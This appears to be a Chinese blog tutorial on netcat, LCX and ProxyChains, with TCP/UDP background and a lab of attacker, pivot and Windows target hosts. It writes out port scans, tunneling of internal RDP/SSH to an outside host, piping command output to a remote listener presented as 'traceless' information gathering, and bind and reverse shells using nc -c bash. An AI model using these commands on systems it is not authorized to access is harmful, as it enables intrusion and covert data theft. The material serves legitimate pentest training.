当前位置:首页 > 技术 > 正文内容

代理工具

访客 技术 2026年7月2日 1

Netcat (nc)

简介

Netcat是一款轻量级网络工具,支持在TCP或UDP协议上双向传输数据。凭借其简洁灵活的特性,该工具广泛应用于网络调试和自动化脚本编写中。

TCP协议

概述

传输控制协议(TCP)是一种面向连接的网络通信协议,提供可靠的数据传输服务。它确保数据按顺序、完整地传输,常与IP协议配合使用,构成TCP/IP协议族的核心部分。TCP广泛应用于网页浏览、电子邮件、文件传输等需要数据完整性的场景。

主要特性

  • 连接导向:数据传输前需建立连接,传输完成后断开,确保通信可靠性
  • 数据可靠性:具备错误检测与纠正机制,保证数据完整性和顺序性
  • 流量控制:根据接收方处理能力调整发送速度,防止网络拥塞
  • 拥塞控制:动态调整发送速率,避免网络过载和数据丢失
  • 字节流传输:以连续字节流方式传输数据,应用层负责数据分片
  • 全双工通信:支持双向同时数据传输
  • 错误恢复机制:通过校验和检测错误,必要时重传数据

TCP报文结构

 源端口(16位):标识发送方端口号
 目的端口(16位):标识接收方端口号
 序列号(32位):标识本报文段首字节的序号
 确认号(32位):标识期望接收的下一个字节序号
 头部长度(4位):指示TCP头部大小,以4字节为单位
 保留字段(6位):未使用,置为0
 控制标志(6位):包含SYN、ACK、FIN等控制位
 窗口大小(16位):接收方缓冲区大小,用于流量控制
 校验和(16位):验证TCP报文完整性
 紧急指针(16位):指示紧急数据结束位置
 可选字段:支持窗口扩展、时间戳等高级功能

常见服务端口

端口20:FTP数据传输
端口21:FTP控制连接
端口22:SSH安全远程登录
端口23:Telnet远程登录
端口25:SMTP电子邮件发送
端口53:DNS域名解析
端口80:HTTP网页浏览
端口110:POP3邮件接收
端口143:IMAP邮件管理
端口443:HTTPS加密网页访问
端口3389:Windows远程桌面
端口8080:HTTP代理服务

UDP协议

概述

用户数据报协议(UDP)是一种无连接、不可靠的传输层协议,提供数据报传输服务。

主要特性

  • 无连接传输:无需预先建立连接,直接发送数据包
  • 高效传输:协议开销小,传输速度快
  • 低延迟:无需等待确认,适合实时应用
  • 轻量级设计:功能精简,资源占用少

UDP报文结构

 源端口(16位):标识发送方端口号
 目的端口(16位):标识接收方端口号
 数据长度(16位):指示整个UDP数据报长度
 校验和(16位):验证数据完整性
 数据字段:实际传输的内容(0-65535字节)

常见服务端口

端口53:DNS域名解析
端口67/68:DHCP动态IP分配
端口69:TFTP文件传输
端口123:NTP时间同步
端口161/162:SNMP网络管理
端口514:Syslog日志服务
端口5060/5061:SIP语音通信
端口3478/3479:STUN NAT穿透

Netcat功能详解

主要参数

-l:监听模式,用于接收连接
-p:指定本地端口号
-n:直接使用IP地址,不解析域名
-v:显示详细连接信息
-z:执行端口扫描
-u:使用UDP模式
-c:执行指定shell命令
-q:连接完成后延迟退出(秒)

环境设置

假设测试环境包含三台机器:

  • 攻击机:192.168.245.110 (kali1)
  • 跳板机:192.168.8.130 (kali2)
  • 目标机:192.168.8.129 (win7)

端口转发应用

场景:kali1可访问kali2,但无法直接访问win7;kali2可访问win7的任意端口。需求是通过kali2访问win7的22端口。

解决方案:在kali2上设置端口转发,将访问其8888端口的流量转发至win7的22端口。

# 在kali2上执行转发命令
nc -l -p 8888 -c "nc 192.168.8.129 22"

在kali1上通过ssh连接kali2的8888端口,即可访问win7的22端口服务。

端口扫描

基本扫描命令:

# 扫描指定TCP端口
nc -v 目标IP 端口号

# 扫描端口范围
nc -nv 目标IP 端口范围

# 扫描UDP端口
nc -nvvzu 目标IP 端口范围

使用示例:

# 扫描单个端口
nc -nv 192.168.8.129 445

# 扫描端口范围
nc -nv 192.168.8.129 1-1000

# UDP端口扫描
nc -nvvzu 192.168.8.129 1-500

文本信息传输

服务端设置:

nc -l -p 端口号

客户端连接:

nc -nv 服务端IP 端口号

建立连接后,双方可进行文本信息交互。

文件/目录传输

文件传输:

# 接收端
nc -l -p 端口号 > 接收文件名

# 发送端
nc -nv 服务端IP 端口号 < 发送文件名 -q 1

目录传输:

# 接收端
nc -l -p 端口号 | tar -xvf -

# 发送端
tar -cvf - /目录路径 | nc -nv 服务端IP 端口号 -q 1

远程信息收集

示例1:无痕收集系统信息

# 接收端
nc -l -p 端口号

# 发送端
系统命令 | nc -nv 接收端IP 端口号

示例2:保存命令输出到文件

# 接收端
nc -l -p 端口号 > 输出文件.txt

# 发送端
系统命令 | nc -nv 接收端IP 端口号 -q 1

远程控制

正向Shell:

# 被控制端
nc -l -p 端口号 -c bash

# 控制端
nc -nv 被控制端IP 端口号

反向Shell:

# 控制端
nc -l -p 端口号

# 被控制端
nc -nv 控制端IP 端口号 -c bash

LCX端口转发工具

参数说明

-tran <监听端口> <目标IP> <目标端口>  # 端口映射
-listen <监听端口> <转发端口>  # 端口转发
-slave <外网IP> <监听端口> <目标IP> <目标端口>  # 端口转发

基本应用

场景1:内网端口映射到外网

# 外网服务器执行
lcx -listen 40050 10000

# 内网服务器执行
lcx -slave 外网IP 40050 内网IP 3389

# 访问外网服务器10000端口即可连接内网3389

场景2:本地端口转发

# 将本地3389端口转发到33389端口
lcx -tran 33389 127.0.0.1 3389

场景3:SSH内网穿透

# 在公网服务器上执行
lcx -tran 2222 内网IP 22

# 连接公网服务器2222端口即可访问内网SSH

ProxyChains

ProxyChains是一个工具,允许通过代理服务器强制连接TCP应用程序。
它通过拦截网络连接请求并将其路由到代理服务器来实现。

基本配置:
1. 编辑/etc/proxychains4.conf文件
2. 添加代理服务器信息
3. 在命令前添加proxychains前缀

使用示例:
proxychains curl http://example.com
proxychains nmap -sT -O target.com

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。